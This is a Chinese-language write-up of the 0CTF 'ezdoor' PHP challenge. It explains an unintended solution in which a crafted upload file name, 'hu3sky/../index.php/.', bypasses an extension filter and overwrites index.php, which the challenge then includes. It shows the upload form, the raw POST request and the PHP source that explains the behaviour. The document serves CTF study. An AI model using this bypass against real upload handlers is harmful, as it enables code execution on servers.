0ctf-ezdoor
今天搬砖的时候,突然看到了这道题,之前也看到过,没有深入学习。。于是想着来深入学习一下,关于非预期解/.
的绕过
题目链接
https://github.com/LyleMi/My-CTF-Challenges
环境搭建
git clone https://github.com/LyleMi/My-CTF-Challenges.git
- 切换到Dockerfile目录下
在Dockerfile里添加一行 RUN mkdir /var/www/html/sandbox/
- 然后运行
docker build -t 0ctf-ezdoor .
- 创建容器
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor
题目分析
代码
首先理解代码的意思
首先会根据ip创建一个文件夹,然后创建一个index.php
然后是一些功能函数的定义
然后switch是一些功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| switch ($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'phpinfo': echo file_get_contents("phpinfo.txt"); break; case 'reset': clear($dir); break; case 'time': echo time(); break; case 'upload': if (!isset($_GET["name"]) || !isset($_FILES['file'])) { ... break; case 'shell': ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag"); include $dir . "index.php"; break; default: highlight_file(__FILE__); break; }
|
功能
- 查看工作目录
- 查看phpinfo
- 重置
- 打印时间
- 上传
- 将之前创建的index.php包含进来
upload功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| case 'upload': if (!isset($_GET["name"]) || !isset($_FILES['file'])) { break; }
if ($_FILES['file']['size'] > 100000) { clear($dir); break; }
$name = $dir . $_GET["name"]; if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || stristr(pathinfo($name)["extension"], "h")) { break; } move_uploaded_file($_FILES['file']['tmp_name'], $name); $size = 0; foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } $size += filesize($dir . $file); } if ($size > 100000) { clear($dir); } break;
|
检测文件名
1 2 3 4 5
| $name = $dir . $_GET["name"]; if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || stristr(pathinfo($name)["extension"], "h")) { break; }
|
文件名字母数字开头,后缀里不能有h
也就是php|php3|php5
等无法使用
然后移动文件
于是思路
- 上传index.php覆盖掉原来的index.php
- 利用shell功能进行文件包含
非预期解
这里主要学习非预期。预期参考
https://skysec.top/2018/04/11/0ctf-ezdoor/#%E9%A2%84%E6%9C%9F%E8%A7%A3
构造上传表单
1 2 3 4
| <form action="http://52.36.15.23:8585/?action=upload&name=hu3sky/../index.php/." method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" /> </form>
|
请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /?action=upload&name=hu3sky/../index.php/. HTTP/1.1 Host: 52.36.15.23:8585 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://52.36.15.23:8881/upload.php Content-Type: multipart/form-data; boundary=---------------------------292502680226301 Content-Length: 633 Connection: close Upgrade-Insecure-Requests: 1
-----------------------------292502680226301 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: text/plain
<?php echo aaa; ?>
-----------------------------292502680226301--
|
成功覆盖
漏洞分析
为什么上传index.php/. 能绕过
在函数file_get_contents
和函数move_upload_file
的底层都会调用tsrm_realpath
函数来处理相关文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| i = len; // i的初始值为字符串的长度 while (i > start && !IS_SLASH(path[i-1])) { i--; // 把i定位到第一个/的后面 } if (i == len || (i == len - 1 && path[i] == '.')) { len = i - 1; // 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php is_dir = 1; continue; } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') { //删除路径结尾的 /.. is_dir = 1; if (link_is_dir) { *link_is_dir = 1; } if (i - 1 <= start) { return start ? start : len; } j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC); // 进行递归调用的时候,这里把strlen设置为了i-1,
|
这个函数会自动递归的去除文件末尾的/.
我们上传的index.php/.
会变成index.php
如何覆盖原文件
当我们传入index.php/.
虽然能够绕过检测,但是并不能覆盖原来的index.php
文件,也就是说我们能上传其他php文件,但是shell函数只会包含index.php
,所以最终目的还是要我们能够覆盖掉index.php
文件
zsx师傅:
1 2 3 4 5 6
| f (VCWD_RENAME(path, new_path) == 0) { successful = 1; } else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) { VCWD_UNLINK(path); successful = 1; }
|
所以说我们覆盖失败的原因是我们的文件index.php/.
经过tsrm_realpath
函数去掉末尾/.
后为index.php
该文件存在,lstat
返回0
,不会继续打开文件了
但是当我们传入的文件是,hu3sky/../index.php/.
时,先经过之前的tsrm_realpath
函数处理后,文件变为hu3sky/../index.php
注意。这个位置并没有调用 tsrm_realpath
函数来处理文件名了。所以说此时检测的文件就是hu3sky/../index.php
此时lstat
返回值是-1
. 认为不存在该文件,,于是就导致了文件的写入
这里借用pupiles师傅的图
参考链接